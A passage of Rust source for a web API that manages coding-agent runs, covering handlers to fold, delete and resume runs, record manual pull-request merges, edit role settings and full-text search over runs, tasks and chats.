3465                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3466                        return Err(ApiError::conflict(format!(
3467                            "run {id} is being worked on by a live daemon right now"
3468                        )));
3469                    }
3470                    Ok((id, true))
3471                }
3472            }
3473        })
3474        .await?
3475    };
3476    if unreadable {
3477        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3478            .await
3479            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3480    }
3481    let ui = Arc::clone(&ui);
3482    let done = id.clone();
3483    blocking(move || {
3484        // The agent that asked died with the run, so an open question would
3485        // keep asking the operator for a decision nobody can deliver.
3486        ui.questions.abandon_for_run(
3487            &done,
3488            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3489        )?;
3490        Ok(())
3491    })
3492    .await?;
3493    Ok(StatusCode::NO_CONTENT)
3494}
3495
3496/// `POST /api/runs/{id}/fold`.
3497///
3498/// Remove a run's candidate worktrees and branches, keeping its record.
3499///
3500/// This exists because the deck answered "delete this run" with *"Candidates
3501/// must be folded before deleting. Run `magi fold` first."* — a phone being
3502/// told to open a terminal, in the one product whose point is that it does
3503/// not need one. The runs an operator most wants gone are the stalled and
3504/// blocked ones, and those are exactly the runs still holding worktrees:
3505/// three of them here held 53 GB.
3506///
3507/// The winner's tree goes too. A fold is what someone asks for when they are
3508/// finished with a run, and leaving one tree behind would leave the delete
3509/// button disabled for the same reason as before.
3510///
3511/// Refused while a live daemon is working on the run, on the rule that guards
3512/// deletion: folding underneath a running agent would pull the tree it is
3513/// editing out from under it.
3514///
3515/// A run whose state this build cannot read at all falls back to
3516/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3517/// selectively, so the whole record's worktree goes wholesale, exactly what
3518/// `magi fold` does on the command line for the same run.
3519async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3520    let (id, state) = {
3521        let ui = Arc::clone(&ui);
3522        blocking(move || {
3523            let id = resolve_run(&ui.runs, &id)?;
3524            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3525                return Err(ApiError::conflict(format!(
3526                    "run {id} is being worked on by a live daemon right now"
3527                )));
3528            }
3529            let state = read_run(&ui.runs, &id).ok();
3530            Ok((id, state))
3531        })
3532        .await?
3533    };
3534    let removed = match state {
3535        Some(mut state) => {
3536            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3537                .await
3538                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3539            // Nothing left to remove is not the same thing as nothing left to
3540            // do — see `clean::clear_abandoned_active`'s own doc for the run
3541            // this exists for: worktrees already gone, but a killed process
3542            // left active seats nobody will ever answer for.
3543            if removed.is_empty() {
3544                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3545                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3546            }
3547            removed
3548        }
3549        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3550            .await
3551            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3552    };
3553    Ok(Json(FoldView {
3554        run: id,
3555        removed_count: removed.len(),
3556        removed,
3557    }))
3558}
3559
3560/// What a fold took away, so the deck can say so rather than only re-render.
3561#[derive(Debug, Serialize)]
3562struct FoldView {
3563    run: String,
3564    /// Worktree paths and branch names removed, in the order they went.
3565    removed: Vec<String>,
3566    removed_count: usize,
3567}
3568
3569/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3570/// merged outside of `land::land`'s own loop.
3571#[derive(Debug, Deserialize)]
3572struct FoldMergedBody {
3573    #[serde(default)]
3574    pr_url: String,
3575}
3576
3577/// `POST /api/runs/{id}/fold-merged`.
3578///
3579/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3580/// `Blocked` with `merge: null` because magi never got as far as opening a
3581/// pull request of its own (a title over GitHub's length limit, `gh pr
3582/// create` unreachable, a stale token), which the operator then finished by
3583/// hand on a pull request magi never recorded. The "Run actions" sheet used
3584/// to have no way to tell it about that pull request short of a terminal and
3585/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3586/// this exists and what it deliberately does not do (`bump::after_merge`).
3587///
3588/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3589/// correction rewrites the same `status`/`merge` fields a running graph would
3590/// be writing to on its own.
3591///
3592/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3593/// calls plus a fold, seconds of work, and the phone should get its answer
3594/// (which pull request it recorded, and what changed) in the same round
3595/// trip rather than learning it from the change stream.
3596async fn run_fold_merged(
3597    State(ui): State<Arc<Ui>>,
3598    Path(id): Path<String>,
3599    Json(body): Json<FoldMergedBody>,
3600) -> ApiResult<Json<FoldMergedView>> {
3601    let pr_url = body.pr_url.trim().to_owned();
3602    if pr_url.is_empty() {
3603        return Err(ApiError::bad_request("pr_url is required"));
3604    }
3605    let (id, mut state) = {
3606        let ui = Arc::clone(&ui);
3607        blocking(move || {
3608            let id = resolve_run(&ui.runs, &id)?;
3609            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3610                return Err(ApiError::conflict(format!(
3611                    "run {id} is being worked on by a live daemon right now"
3612                )));
3613            }
3614            let state = read_run(&ui.runs, &id)?;
3615            Ok((id, state))
3616        })
3617        .await?
3618    };
3619    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3620        .await
3621        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3622    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3623        .await
3624        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3625    Ok(Json(FoldMergedView {
3626        run: id,
3627        before: before.as_str().to_owned(),
3628        after: after.as_str().to_owned(),
3629        removed,
3630    }))
3631}
3632
3633/// What [`run_fold_merged`] did, so the deck can say so.
3634#[derive(Debug, Serialize)]
3635struct FoldMergedView {
3636    run: String,
3637    /// `status` before the correction — normally `"blocked"`.
3638    before: String,
3639    /// `status` after — normally `"merged"`.
3640    after: String,
3641    /// Worktree paths and branch names the trailing fold removed.
3642    removed: Vec<String>,
3643}
3644
3645/// `POST /api/runs/{id}/resume`.
3646///
3647/// Carry a stalled run on from where it stopped, in the background.
3648///
3649/// A stalled card says "the work is kept" and used to offer no way to act on
3650/// that: the candidates are built and paid for, and continuing means re-asking
3651/// only the seats whose absence collapsed the panel. The alternative an
3652/// operator actually had was releasing the task, which competes three fresh
3653/// implementations against work that already exists.
3654///
3655/// **202, not 200.** A resume runs agents for minutes; holding the connection
3656/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3657/// phone learns the outcome from the change stream.
3658///
3659/// Refused when the loop is running at all, not merely when it is on this run.
3660/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3661/// started a second graph on top of whatever the loop is already driving —
3662/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3663/// allows — would spend that quota twice over for no extra throughput.
3664async fn run_resume(
3665    State(ui): State<Arc<Ui>>,
3666    Path(id): Path<String>,
3667) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3668    let (id, state) = {
3669        let ui = Arc::clone(&ui);
3670        blocking(move || {
3671            let id = resolve_run(&ui.runs, &id)?;
3672            let state = read_run(&ui.runs, &id)?;
3673            Ok((id, state))
3674        })
3675        .await?
3676    };
3677    if let Some(to) = state
3678        .pr_taken_over_by
3679        .as_ref()
3680        .or(state.released_to.as_ref())
3681    {
3682        return Err(ApiError::conflict(format!(
3683            "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3684            state.short(),
3685            crate::run::short_of(to)
3686        )));
3687    }
3688    if !state.status.resumable() {
3689        return Err(ApiError::conflict(format!(
3690            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3691            state.short(),
3692            status_word(state.status)
3693        )));
3694    }
3695    // Refused whenever the loop is running anything at all, not merely when
3696    // it is on this run: a manual resume racing a loop-driven run over the
3697    // same agent quota is the thing this guard exists to prevent, whether
3698    // the loop's own concurrency is one run or several.
3699    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3700        .into_iter()
3701        .next()
3702    {
3703        return Err(ApiError::conflict(format!(
3704            "the loop is running run {} right now; stop it first, or wait for \
3705             it to finish, before resuming a run by hand.",
3706            crate::run::short_of(&work.run)
3707        )));
3708    }
3709    let _resume = ui.begin_resume(&id)?;
3710
3711    // The same shape the list route returns, so the phone updates the card it
3712    // already has rather than learning a second schema for one button.
3713    let queued = RunSummary::of(
3714        &state,
3715        !ui.questions.open_for(&id).is_empty(),
3716        state.liveness(false),
3717    );
3718    let run = id.clone();
3719    tokio::spawn(async move {
3720        let _resume = _resume;
3721        match crate::graph::Runner::resume(&run) {
3722            Ok(mut runner) => {
3723                if let Err(e) = runner.execute().await {
3724                    tracing::warn!("resume of run {run} stopped: {e:#}");
3725                }
3726            }
3727            // The run's own record is what the phone reads; this line is for
3728            // the operator's terminal.
3729            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3730        }
3731    });
3732    Ok((StatusCode::ACCEPTED, Json(queued)))
3733}
3734
3735async fn run_report(
3736    State(ui): State<Arc<Ui>>,
3737    Path(id): Path<String>,
3738) -> ApiResult<impl IntoResponse> {
3739    let text = blocking(move || {
3740        let id = resolve_run(&ui.runs, &id)?;
3741        // Colour is off for the whole process, set once in `serve`. Rendering
3742        // is CPU work over the full state, which is the other reason this is
3743        // not on the executor.
3744        let state = read_run(&ui.runs, &id)?;
3745        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3746        let live = state.liveness(daemon_claims);
3747        Ok(format!(
3748            "{}{}",
3749            report::run(&state),
3750            report::active_seats(&state, live)
3751        ))
3752    })
3753    .await?;
3754    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3755}
3756
3757/// The structured twin of [`run_report`]: the same state, as sections the UI
3758/// draws as cards. An unreadable run answers with the same error the text
3759/// route does; it is never turned into an empty report.
3760async fn run_report_json(
3761    State(ui): State<Arc<Ui>>,
3762    Path(id): Path<String>,
3763) -> ApiResult<Json<crate::report_view::RunReportView>> {
3764    let view = blocking(move || {
3765        let id = resolve_run(&ui.runs, &id)?;
3766        let state = read_run(&ui.runs, &id)?;
3767        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3768        Ok(crate::report_view::build(
3769            &state,
3770            state.liveness(daemon_claims),
3771        ))
3772    })
3773    .await?;
3774    Ok(Json(view))
3775}
3776
3777/// A task as the UI sees it.
3778///
3779/// The whole task, plus the two things the client would otherwise have to
3780/// reimplement: the human-readable source and the status string. Nothing is
3781/// removed - the phone shows `last_error` and the run history verbatim.
3782#[derive(Debug, Serialize)]
3783struct TaskView {
3784    #[serde(flatten)]
3785    task: Task,
3786    source_label: String,
3787    source_link: Option<SourceLink>,
3788    status_str: &'static str,
3789    /// The instruction, parsed as markdown, for the Queue card's "Full
3790    /// instruction" panel. `task.instruction` is unchanged and still carries
3791    /// the raw text.
3792    instruction_md: Vec<md::Node>,
3793    /// For a blocked task, what it waits on with each dependency's state, e.g.
3794    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3795    /// recurses; empty for every other status.
3796    waits_on: Vec<String>,
3797    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3798    /// behind - non-empty means nothing in the loop will ever run it.
3799    stuck_roots: Vec<String>,
3800}
3801
3802impl From<Task> for TaskView {
3803    fn from(task: Task) -> Self {
3804        Self {
3805            source_label: task.source.label(),
3806            source_link: source_link(&task.source),
3807            status_str: task.status.as_str(),
3808            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3809            waits_on: Vec::new(),
3810            stuck_roots: Vec::new(),
3811            task,
3812        }
3813    }
3814}
3815
3816impl TaskView {
3817    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3818        let waits_on = inv.waits_on(&task);
3819        let stuck_roots = inv
3820            .stuck_roots(&task)
3821            .iter()
3822            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3823            .collect();
3824        Self {
3825            waits_on,
3826            stuck_roots,
3827            ..Self::from(task)
3828        }
3829    }
3830}
3831
3832/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3833/// its absence, leaves the cache to decide.
3834#[derive(Debug, Default, Deserialize)]
3835#[serde(default)]
3836struct ReposQuery {
3837    refresh: u8,
3838}
3839
3840/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3841/// listing `magi repos` prints at a terminal.
3842///
3843/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3844/// so an edit to `magi.toml` takes effect without a restart, the same
3845/// reasoning [`config_for`] documents for the talk routes.
3846async fn repos_list(
3847    State(ui): State<Arc<Ui>>,
3848    Query(q): Query<ReposQuery>,
3849) -> ApiResult<Json<Vec<repos::Repo>>> {
3850    let refresh = q.refresh != 0;
3851    blocking(move || {
3852        let (cfg, _) = Config::discover(&ui.repo, None)?;
3853        Ok(Json(ui.repos_cache.list(
3854            &cfg.repos.roots,
3855            Duration::from_secs(cfg.repos.scan_ttl),
3856            refresh,
3857        )))
3858    })
3859    .await
3860}
3861
3862/// Optional context, restricted to the server's known checkouts.
3863#[derive(Debug, Default, Deserialize)]
3864struct SettingsQuery {
3865    repo: Option<PathBuf>,
3866}
3867
3868/// Always discover against the server's original context, never the selection.
3869/// If that config is broken, retain the default context and machine-only roots
3870/// so the settings error contract and recovery picker remain available.
3871fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
3872    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
3873        let paths: Vec<PathBuf> = ui
3874            .machine_config
3875            .iter()
3876            .filter(|p| p.is_file())
3877            .cloned()
3878            .collect();
3879        if paths.is_empty() {
3880            Ok(Config::autodetected())
3881        } else {
3882            Config::load_layers(&paths)
3883        }
3884    });
3885    let mut known = cfg
3886        .map(|cfg| {
3887            ui.repos_cache.list(
3888                &cfg.repos.roots,
3889                Duration::from_secs(cfg.repos.scan_ttl),
3890                refresh,
3891            )
3892        })
3893        .unwrap_or_default();
3894    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
3895    if !known.iter().any(|r| r.path == path) {
3896        known.push(repos::Repo {
3897            name: path
3898                .file_name()
3899                .unwrap_or_default()
3900                .to_string_lossy()
3901                .into_owned(),
3902            path,
3903        });
3904    }
3905    known
3906}
3907
3908fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
3909    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
3910    let canonical = requested.canonicalize().ok();
3911    let mut known = settings_repositories(ui, false);
3912    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
3913    if !known.iter().any(matches) {
3914        known = settings_repositories(ui, true);
3915    }
3916    let repo = known
3917        .iter()
3918        .find(|r| matches(r))
3919        .map(|r| r.path.clone())
3920        .ok_or_else(|| ApiError {
3921            status: StatusCode::UNPROCESSABLE_ENTITY,
3922            message: "Choose a known repository from the Settings selector.".to_owned(),
3923        })?;
3924    Ok((repo, known))
3925}
3926
3927/// `GET /api/settings` - the effective role assignments and roster, with the
3928/// layer each came from. A config that fails to load answers 200 with an
3929/// `error`, so the screen can say so instead of drawing empty lists.
3930async fn settings_get(
3931    State(ui): State<Arc<Ui>>,
3932    Query(q): Query<SettingsQuery>,
3933) -> ApiResult<Json<settings::SettingsView>> {
3934    blocking(move || {
3935        let (repo, known) = settings_context(&ui, q)?;
3936        Ok(Json(settings::view_with_repos(
3937            &repo,
3938            ui.machine_config.as_deref(),
3939            &known,
3940        )))
3941    })
3942    .await
3943}
3944
3945/// The body of `PUT /api/settings/roles`.
3946#[derive(Debug, Deserialize)]
3947#[serde(deny_unknown_fields)]
3948struct RolesBody {
3949    /// The `revision` the client last read.
3950    revision: String,
3951    /// Role key to its new ids; an empty list resets the key to its default.
3952    #[serde(default)]
3953    roles: std::collections::BTreeMap<String, Vec<String>>,
3954    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
3955    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
3956    /// words (422) instead of as a deserialization error.
3957    #[serde(default)]
3958    counts: std::collections::BTreeMap<String, serde_json::Value>,
3959}
3960
3961/// `PUT /api/settings/roles` - save role assignments to the machine config.
3962///
3963/// The write target is `ui.machine_config` and nothing in the body can change
3964/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3965/// 422 with the reason in words.
3966async fn settings_put_roles(
3967    State(ui): State<Arc<Ui>>,
3968    Query(q): Query<SettingsQuery>,
3969    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3970) -> ApiResult<Json<settings::SettingsView>> {
3971    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3972    blocking(move || {
3973        let (repo, known) = settings_context(&ui, q)?;
3974        settings::save_with_repos(
3975            &repo,
3976            ui.machine_config.as_deref(),
3977            &body.revision,
3978            &body.roles,
3979            &body.counts,
3980            &known,
3981        )
3982        .map(Json)
3983        .map_err(|e| match e {
3984            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3985            settings::SaveError::Refused(m) => ApiError {
3986                status: StatusCode::UNPROCESSABLE_ENTITY,
3987                message: m,
3988            },
3989            settings::SaveError::Internal(m) => ApiError::internal(m),
3990        })
3991    })
3992    .await
3993}
3994
3995async fn queue_list(
3996    State(ui): State<Arc<Ui>>,
3997    Query(q): Query<ListQuery>,
3998) -> ApiResult<Json<Vec<TaskView>>> {
3999    blocking(move || {
4000        let tasks = ui.queue.list();
4001        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
4002        Ok(Json(
4003            tasks
4004                .into_iter()
4005                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4006                .map(|t| TaskView::with_inventory(t, &inv))
4007                .collect(),
4008        ))
4009    })
4010    .await
4011}
4012
4013/// Most hits one search returns. The rest are counted in `total`.
4014const SEARCH_MAX_HITS: usize = 100;
4015/// Longest query, in characters, and most terms it is split into.
4016const SEARCH_MAX_QUERY: usize = 200;
4017const SEARCH_MAX_TERMS: usize = 8;
4018/// Characters of context kept before the first hit, and after it.
4019const SNIPPET_BEFORE: usize = 50;
4020const SNIPPET_AFTER: usize = 110;
4021
4022/// `?scope=runs|tasks&q=...`
4023#[derive(Debug, Deserialize)]
4024struct SearchQuery {
4025    #[serde(default)]
4026    scope: String,
4027    #[serde(default)]
4028    q: String,
4029}
4030
4031/// One piece of a snippet. `hit` pieces are what matched; the client renders
4032/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4033#[derive(Debug, Serialize, PartialEq, Eq)]
4034struct SnippetPart {
4035    text: String,
4036    hit: bool,
4037}
4038
4039#[derive(Debug, Serialize)]
4040struct SearchHit {
4041    id: String,
4042    /// The name of the field the snippet was cut from.
4043    field: String,
4044    snippet: Vec<SnippetPart>,
4045    /// The run's list row, so the page can apply its state / section / repo
4046    /// filters to a hit outside the loaded window. Absent for tasks and for a
4047    /// run record the list view cannot read.
4048    #[serde(skip_serializing_if = "Option::is_none")]
4049    run: Option<RunSummary>,
4050}
4051
4052#[derive(Debug, Serialize)]
4053struct SearchView {
4054    scope: String,
4055    q: String,
4056    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4057    hits: Vec<SearchHit>,
4058    /// Every match, hits beyond the cap included.
4059    total: usize,
4060    truncated: bool,
4061    /// Runs whose `run.json` could not be parsed at all. They were not
4062    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4063    unreadable: usize,
4064}
4065
4066/// The text leaves of a JSON document, with the name of the field each sits
4067/// under. Keys and numbers are skipped: they are structure, not prose.
4068fn text_leaves<'a>(
4069    value: &'a serde_json::Value,
4070    field: &'a str,
4071    out: &mut Vec<(&'a str, &'a str)>,
4072) {
4073    match value {
4074        serde_json::Value::String(s) => out.push((field, s)),
4075        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4076        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4077        _ => {}
4078    }
4079}
4080
4081/// Lower-case one character without changing how many there are, so indices
4082/// in the lowered text are indices in the original.
4083fn fold_char(c: char) -> char {
4084    c.to_lowercase().next().unwrap_or(c)
4085}
4086
4087/// Split a query into its lower-cased terms.
4088fn search_terms(q: &str) -> Vec<String> {
4089    let mut terms: Vec<String> = Vec::new();
4090    for t in q.split_whitespace() {
4091        let t = t.to_lowercase();
4092        if !terms.contains(&t) {
4093            terms.push(t);
4094        }
4095    }
4096    terms
4097}
4098
4099/// Match `terms` (all of them, anywhere in the document) against the leaves
4100/// and cut a snippet around the first hit. `None` when a term is missing.
4101fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4102    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4103    let mut first: Option<usize> = None;
4104    for term in terms {
4105        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4106        first = Some(first.map_or(at, |f| f.min(at)));
4107    }
4108    // The leaf holding the earliest hit of any term is where the snippet is cut.
4109    let (field, text) = leaves[first?];
4110    Some(SearchHit {
4111        id: String::new(),
4112        field: field.to_owned(),
4113        snippet: snippet_of(text, terms),
4114        run: None,
4115    })
4116}
4117
4118/// A window of `text` around the first occurrence of any term, whitespace
4119/// collapsed, with every term occurrence inside the window marked.
4120fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4121    let chars: Vec<char> = text.chars().collect();
4122    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4123    let needles: Vec<Vec<char>> = terms
4124        .iter()
4125        .map(|t| t.chars().map(fold_char).collect())
4126        .collect();
4127    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4128        let mut best: Option<(usize, usize)> = None;
4129        for n in needles.iter().filter(|n| !n.is_empty()) {
4130            // `to` bounds where a match may start; it may run past `to` (the
4131            // caller clips what it shows). A term longer than the field cannot
4132            // occur in it (it may live in another leaf of the document).
4133            if n.len() > chars.len() || to == 0 {
4134                continue;
4135            }
4136            let last = (to - 1).min(chars.len() - n.len());
4137            if from > last {
4138                continue;
4139            }
4140            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4141                && best.is_none_or(|(b, _)| i < b)
4142            {
4143                best = Some((i, i + n.len()));
4144            }
4145        }
4146        best
4147    };
4148    let Some((start, _)) = find(0, chars.len()) else {
4149        // Matched only through a case mapping that changes length: show the head.
4150        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4151        return vec![SnippetPart {
4152            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4153            hit: false,
4154        }];
4155    };
4156    let lo = start.saturating_sub(SNIPPET_BEFORE);
4157    let hi = (start + SNIPPET_AFTER).min(chars.len());
4158    let mut parts: Vec<SnippetPart> = Vec::new();
4159    let mut push = |s: &[char], hit: bool| {
4160        if s.is_empty() {
4161            return;
4162        }
4163        let text: String = s.iter().collect();
4164        match parts.last_mut() {
4165            Some(p) if p.hit == hit => p.text.push_str(&text),
4166            _ => parts.push(SnippetPart { text, hit }),
4167        }
4168    };
4169    if lo > 0 {
4170        push(&['\u{2026}'], false);
4171    }
4172    let mut at = lo;
4173    while at < hi {
4174        match find(at, hi) {
4175            Some((s, e)) => {
4176                push(&chars[at..s], false);
4177                // A match running past the window is shown up to its edge.
4178                let shown = e.min(hi);
4179                push(&chars[s..shown], true);
4180                at = shown;
4181            }
4182            None => {
4183                push(&chars[at..hi], false);
4184                at = hi;
4185            }
4186        }
4187    }
4188    if hi < chars.len() {
4189        push(&['\u{2026}'], false);
4190    }
4191    // Collapse whitespace (newlines in an instruction) without disturbing the
4192    // hit boundaries.
4193    let mut prev_space = false;
4194    for p in &mut parts {
4195        let mut out = String::with_capacity(p.text.len());
4196        for c in p.text.chars() {
4197            if c.is_whitespace() {
4198                if !prev_space {
4199                    out.push(' ');
4200                }
4201                prev_space = true;
4202            } else {
4203                out.push(c);
4204                prev_space = false;
4205            }
4206        }
4207        p.text = out;
4208    }
4209    parts.retain(|p| !p.text.is_empty());
4210    parts
4211}
4212
4213/// The search over `docs` (id, document), newest first, capped.
4214fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4215where
4216    I: IntoIterator<Item = (String, serde_json::Value)>,
4217{
4218    for (id, doc) in docs {
4219        let mut leaves = Vec::new();
4220        // The id is text an operator types too, and it is a map key on disk,
4221        // not a leaf.
4222        leaves.push(("id", id.as_str()));
4223        text_leaves(&doc, "", &mut leaves);
4224        if let Some(mut hit) = search_document(terms, &leaves) {
4225            view.total += 1;
4226            if view.hits.len() < SEARCH_MAX_HITS {
4227                hit.id = id;
4228                view.hits.push(hit);
4229            }
4230        }
4231    }
4232    view.truncated = view.total > view.hits.len();
4233}
4234
4235/// What a conversation is searched by: its list title and each turn's text,
4236/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4237/// (session ids, repo paths, usage, drafts) is part of the document.
4238///
4239/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4240/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4241fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4242    let opener = talk
4243        .turns
4244        .iter()
4245        .find(|t| t.who == crate::talk::Who::Operator)
4246        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4247        .unwrap_or("");
4248    let title: String = if opener.chars().count() > 96 {
4249        opener.chars().take(95).chain(['\u{2026}']).collect()
4250    } else {
4251        opener.to_owned()
4252    };
4253    let turns: Vec<serde_json::Value> = talk
4254        .turns
4255        .iter()
4256        .map(|t| {
4257            let who = match t.who {
4258                crate::talk::Who::Operator => "operator",
4259                crate::talk::Who::Agent => "agent",
4260            };
4261            serde_json::json!({ who: t.body })
4262        })
4263        .collect();
4264    serde_json::json!({ "title": title, "turns": turns })
4265}
4266
4267/// Read-only full-text search over every run's `run.json`, every task or every
4268/// conversation (title and transcript).
4269///
4270/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4271/// record from an older schema still searches; only a file that is not JSON
4272/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4273async fn search_get(
4274    State(ui): State<Arc<Ui>>,
4275    Query(q): Query<SearchQuery>,
4276) -> ApiResult<Json<SearchView>> {
4277    let query = q.q.trim().to_owned();
4278    if query.is_empty() {
4279        return Err(ApiError::bad_request("q must not be empty"));
4280    }
4281    if query.chars().count() > SEARCH_MAX_QUERY {
4282        return Err(ApiError::bad_request(format!(
4283            "q is longer than {SEARCH_MAX_QUERY} characters"
4284        )));
4285    }
4286    let terms = search_terms(&query);
4287    if terms.len() > SEARCH_MAX_TERMS {
4288        return Err(ApiError::bad_request(format!(
4289            "q has more than {SEARCH_MAX_TERMS} terms"
4290        )));
4291    }
4292    let scope = q.scope;
4293    if scope != "runs" && scope != "tasks" && scope != "chats" {
4294        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4295    }
4296    blocking(move || {
4297        let mut view = SearchView {
4298            scope: scope.clone(),
4299            q: query,
4300            hits: Vec::new(),
4301            total: 0,
4302            truncated: false,
4303            unreadable: 0,
4304        };
4305        if scope == "runs" {
4306            let mut unreadable = 0;
4307            // One run.json is read, matched and dropped at a time; nothing
4308            // holds the whole history. The scan runs to the end even past the
4309            // hit cap so `total` and `unreadable` stay exact.
4310            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4311                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4312                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4313                    Some(v) => Some((id, v)),
4314                    None => {
4315                        unreadable += 1;
4316                        None
4317                    }
4318                }
4319            });
4320            search_docs(&terms, docs, &mut view);
4321            view.unreadable = unreadable;
4322            // Only the capped hits get a row: the filters need a run's state,
4323            // and reading every match would be the whole history again.
4324            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4325            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4326            for hit in &mut view.hits {
4327                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4328                    hit.run = summarize(
4329                        [state],
4330                        &open_runs,
4331                        &claimed,
4332                        &superseded,
4333                        |p| probe.borrow_mut().status(p),
4334                        |p| probe.borrow_mut().started_at(p),
4335                    )
4336                    .pop();
4337                }
4338            }
4339        } else if scope == "chats" {
4340            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4341            view.unreadable = unreadable;
4342            search_docs(
4343                &terms,
4344                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4345                &mut view,
4346            );
4347        } else {
4348            let docs = ui.queue.list().into_iter().filter_map(|t| {
4349                let mut v = serde_json::to_value(&t).ok()?;
4350                // `source` serialises as a tagged object; the label is what
4351                // the operator reads ("human", "chat@a1b2").
4352                if let Some(o) = v.as_object_mut() {
4353                    o.insert("filed_by".to_owned(), t.source.label().into());
4354                }
4355                Some((t.id, v))
4356            });
4357            search_docs(&terms, docs, &mut view);
4358        }
4359        Ok(Json(view))
4360    })
4361    .await
4362}
4363
4364/// One attempt in a task's history, as the task page lists it.
4365#[derive(Debug, Serialize)]
4366struct TaskRunView {
4367    /// 1-based position in [`Task::runs`].
4368    n: usize,
4369    id: String,
4370    short: String,
4371    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4372    kind: &'static str,
4373    /// The run's own status string; `None` when its record cannot be read.
4374    status: Option<&'static str>,
4375    /// Whether this build could read the run's record. Counted, never hidden.
4376    readable: bool,
4377    /// A verdict from a collapsed panel is provisional, never a decision.
4378    provisional: bool,
4379    /// What kind of attempt this was, in one line.
4380    description: String,
